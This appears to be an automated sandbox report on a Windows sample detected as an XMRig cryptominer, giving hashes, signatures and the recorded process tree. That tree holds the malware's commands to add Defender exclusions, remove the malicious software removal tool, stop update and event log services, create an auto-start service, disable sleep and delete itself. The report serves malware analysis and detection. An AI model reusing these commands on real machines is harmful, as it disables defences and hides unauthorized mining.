Analysis
-
max time kernel
140s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
26/10/2024, 00:10
Static task
static1
Behavioral task
behavioral1
Sample
8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe
Resource
win7-20241010-en
General
-
Target
8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe
-
Size
5.5MB
-
MD5
79abce23942e1808d915431903f3b931
-
SHA1
27b696379da377b45f4ed2db19a10d3be0428a2f
-
SHA256
8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f
-
SHA512
34a11323958a8da790dbb5a9fb107addc1fc26aff2b90a3676035bbb827f00537f2b67844fd0e2c87ca10c7ed368144f19fe541171d956cdebc7269c7d50cc38
-
SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/936-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/936-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/936-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/936-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/936-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/936-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/936-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/936-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1320 powershell.exe 1920 powershell.exe -
Creates new service(s) 2 TTPs
-
Deletes itself 1 IoCs
pid Process 2344 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 464 Process not Found 1036 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 464 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2852 powercfg.exe 2844 powercfg.exe 2700 powercfg.exe 2944 powercfg.exe 2968 powercfg.exe 3052 powercfg.exe 3032 powercfg.exe 2516 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1036 set thread context of 852 1036 fqwofdtexigy.exe 85 PID 1036 set thread context of 936 1036 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/936-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/936-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2924 sc.exe 2656 sc.exe 1868 sc.exe 2540 sc.exe 2880 sc.exe 2964 sc.exe 1356 sc.exe 1388 sc.exe 2636 sc.exe 2760 sc.exe 2808 sc.exe 3056 sc.exe 2560 sc.exe 1932 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0f085773b27db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 1320 powershell.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 2568 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 1036 fqwofdtexigy.exe 1920 powershell.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 1036 fqwofdtexigy.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe 936 nslookup.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1320 powershell.exe Token: SeShutdownPrivilege 2968 powercfg.exe Token: SeShutdownPrivilege 2844 powercfg.exe Token: SeShutdownPrivilege 2944 powercfg.exe Token: SeShutdownPrivilege 2700 powercfg.exe Token: SeDebugPrivilege 1920 powershell.exe Token: SeShutdownPrivilege 3032 powercfg.exe Token: SeShutdownPrivilege 2516 powercfg.exe Token: SeShutdownPrivilege 2852 powercfg.exe Token: SeShutdownPrivilege 3052 powercfg.exe Token: SeLockMemoryPrivilege 936 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2520 wrote to memory of 2908 2520 cmd.exe 37 PID 2520 wrote to memory of 2908 2520 cmd.exe 37 PID 2520 wrote to memory of 2908 2520 cmd.exe 37 PID 2344 wrote to memory of 1648 2344 cmd.exe 64 PID 2344 wrote to memory of 1648 2344 cmd.exe 64 PID 2344 wrote to memory of 1648 2344 cmd.exe 64 PID 1996 wrote to memory of 1196 1996 cmd.exe 72 PID 1996 wrote to memory of 1196 1996 cmd.exe 72 PID 1996 wrote to memory of 1196 1996 cmd.exe 72 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 852 1036 fqwofdtexigy.exe 85 PID 1036 wrote to memory of 936 1036 fqwofdtexigy.exe 90 PID 1036 wrote to memory of 936 1036 fqwofdtexigy.exe 90 PID 1036 wrote to memory of 936 1036 fqwofdtexigy.exe 90 PID 1036 wrote to memory of 936 1036 fqwofdtexigy.exe 90 PID 1036 wrote to memory of 936 1036 fqwofdtexigy.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe"C:\Users\Admin\AppData\Local\Temp\8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2568 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2908
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2760
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2924
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2808
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1356
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3056
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2844
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2968
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2944
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2700
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2656
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:1868
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1388
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1648
-
-
-
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1196
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2560
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2540
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1932
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2880
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2964
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3052
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3032
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2852
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2516
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:852
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:936
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.5MB
MD579abce23942e1808d915431903f3b931
SHA127b696379da377b45f4ed2db19a10d3be0428a2f
SHA2568fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f
SHA51234a11323958a8da790dbb5a9fb107addc1fc26aff2b90a3676035bbb827f00537f2b67844fd0e2c87ca10c7ed368144f19fe541171d956cdebc7269c7d50cc38